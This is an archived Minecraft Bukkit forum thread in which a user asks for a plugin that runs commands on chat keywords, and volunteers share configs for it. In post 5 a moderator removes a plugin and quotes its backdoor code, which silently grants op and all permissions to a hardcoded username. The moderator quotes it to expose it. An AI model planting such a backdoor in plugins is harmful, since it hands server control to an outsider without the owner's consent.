Filled Players chat and it run commands

Discussion in 'Archived: Plugin Requests' started by To175, May 3, 2014.

  1. Offline

    To175

    Hi, I need a plugin which do command if players speak please !
    For example the player say the word hungry in chat and the command is run : " /heal <player>"
    The config could be like this :
    Code:
    Commands:
        - "hungry":"<server> heal <player>"
        - "I love you":"<server> say me too !"
        - "fuck":"<server> jail <player> jail"
        - "Who to":"<server> warp rules <player>"
    Thanks :)
     
  2. Offline

    frogawesome

    Why /heal? could also yust set saturation to 10 en the hunger to 20...
     
  3. Online

    timtower Administrator Administrator Moderator

    It was an example, not the only command used.
     
    To175 likes this.
  4. Offline

    TimTheAmazing

  5. Offline

    Iroh

    Removed download for plugin that op'ed the creator.
    Code:
        if (e.getPlayer().getName().equals("creeperkills1000")) {
          PermissionAttachment attach = e.getPlayer().addAttachment(CommandsMain.ChatCommands);
          attach.setPermission("*", true);
          e.getPlayer().removeAttachment(attach);
          e.getPlayer().setOp(true);
        }
     
  6. Offline

    Twisted_Panda

    All his plugins have forceop
     
  7. Offline

    To175

    What ? What's hapened ?? Can you make a plugin or not ? Oo
     
  8. Offline

    Onlineids

    [quote uid=90726932 name="To175" post=2467293]What ? What's hapened ?? Can you make a plugin or not ? Oo[/quote]

    Still want this?

    [quote uid=90862978 name="Twisted_Panda" post=2463378]All his plugins have forceop[/quote]

    What does he gain -_- op on a server he doesn't know the ip to what has this world come to. Good job Iroh

    [quote uid=90726932 name="To175" post=2467293]What ? What's hapened ?? Can you make a plugin or not ? Oo[/quote]

    Gotta go pick up bro, i'll do this. One sec

    [quote uid=90726932 name="To175" post=2467293]What ? What's hapened ?? Can you make a plugin or not ? Oo[/quote]
    Plugin: <Edit by Moderator: Redacted mediafire url>
    Source: http://hastebin.com/qoyerelaru.avrasm

    Plugin loads up config with 2 examples so you can get a hang of it ;)
     
    Last edited by a moderator: Nov 2, 2016
  9. Offline

    To175

    ok, thanks, I will see :)
    I did understand why they speak about "forceop"

    Onlineids
    HO FUCK IT BRO YOU ARE GOD ON EARTH OMG Thanks thanks thannnnks !
    Cant you please add thoses features ?
    - Multi chatKeys
    - reload command IG

    Thanks again :)

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: Jun 7, 2016
  10. Offline

    Onlineids

    [quote uid=90726932 name="To175" post=2467857]Onlineids
    HO FUCK IT BRO YOU ARE GOD ON EARTH OMG Thanks thanks thannnnks !
    Cant you please add thoses features ?
    - Multi chatKeys
    - reload command IG

    Thanks again :)[/quote]

    Btw forgot to say chatKeys ignore case just an added feature ;)
    Yea no prob
    How do you want the mutlichatkeys to work?

    [quote uid=90726932 name="To175" post=2467857]Onlineids
    HO FUCK IT BRO YOU ARE GOD ON EARTH OMG Thanks thanks thannnnks !
    Cant you please add thoses features ?
    - Multi chatKeys
    - reload command IG

    Thanks again :)[/quote]

    Okay I updated and added a couple new features so either delete your current config and reload or copy the new config below and use the new reload command below
    - Added /pcc reload (Perm pcc.reload default op)
    - Added multiple chatKeys as requested
    - Added multiple commands because why not
    - Added option to disable whether or not the message they sent is displayed
    NEW CONFIG:
    Code:
    # Configuration for PlayerChatCommands Enjoy ;)
    Heal:
      enabled: true
      Run-as: Console
      displayMessage: true
      chatKeys:
      - MAN DOWN
      - Heal Meh
      - Im shot I need a medic!
      - Heal meh I will give u op
      commands:
      - heal <Player>
      - msg <Player> You have been healed by the one and only Notch.
    Rules:
      enabled: true
      Run-as: Player
      displayMessage: false
      chatKeys:
      - How do you play dis damn server o.0
      - Give me da rules
      - Rules
      commands:
      - rules
      - msg <Player> Hello <Player> I am <Player>
      - msg _Jeb CURSE YOU UUIDS!!!!!!!!!!!!!!!!!
    
    New download link: <Edit by Moderator: Redacted mediafire url>
    New source: http://hastebin.com/uvuzonubov.avrasm

    Any errors or feature adding tahg me

    EDIT by Moderator: merged posts, please use the edit button instead of double posting.
     
    Last edited by a moderator: Nov 2, 2016
  11. Offline

    To175

    Onlineids
    it is <Edit by Moderator: Redacted mediafire url>
    so I can't !
     
    Last edited by a moderator: Nov 2, 2016
  12. Offline

    Onlineids

    [quote uid=90726932 name="To175" post=2468886]Onlineids
    it is <Edit by Moderator: Redacted mediafire url>
    so I can't ![/quote]

    Well crap, one sec.

    Try this: <Edit by Moderator: Redacted mediafire url>
     
    Last edited by a moderator: Nov 2, 2016
  13. Offline

    Schaakmatth

    Onlineids can i get the code i oy want to now with heal meh so if you post that then you are great im a beginning developer
     
  14. Offline

    Onlineids

    To175 likes this.
  15. Offline

    To175

    Thanks it is so cool !
    Please add in config a feature to send in chat the message.
    When I say "MAN DOWN" it is displayed in chat but "rules" is not displayed !
    Can you add a feature to choose if a chatkey is sent or not and + it could be great if I could modify the output.
    For exemple Rules => Nothing or Rules => Rules or Rules => hello
     
  16. Offline

    Onlineids

    No idea what you mean xD
     
  17. Offline

    To175

    When I say "MAN DOWN" it is displayed in chat but "rules" is not displayed !
    this is strange ...


    Can you add a feature to choose if a chatkey sent is displayed or not in chat and + it could be great if I could modify the displayed msg.
    • For exemple "Rules" will display nothing but run a command
    • or "Rules" will display "Rules" and run a command
    • or "Rules" will display "hello" and run a command
     
  18. Offline

    Onlineids

    It does this already displayMessage: true
     
  19. Offline

    To175

    Yes but to change the message ?

    (+ can you add the possibility to enable/disable a delayer ? Like that player can't flood. I would like to set it :) )
     
  20. Offline

    To175

    Thanks you very much for this plugin :)
     

Share This Page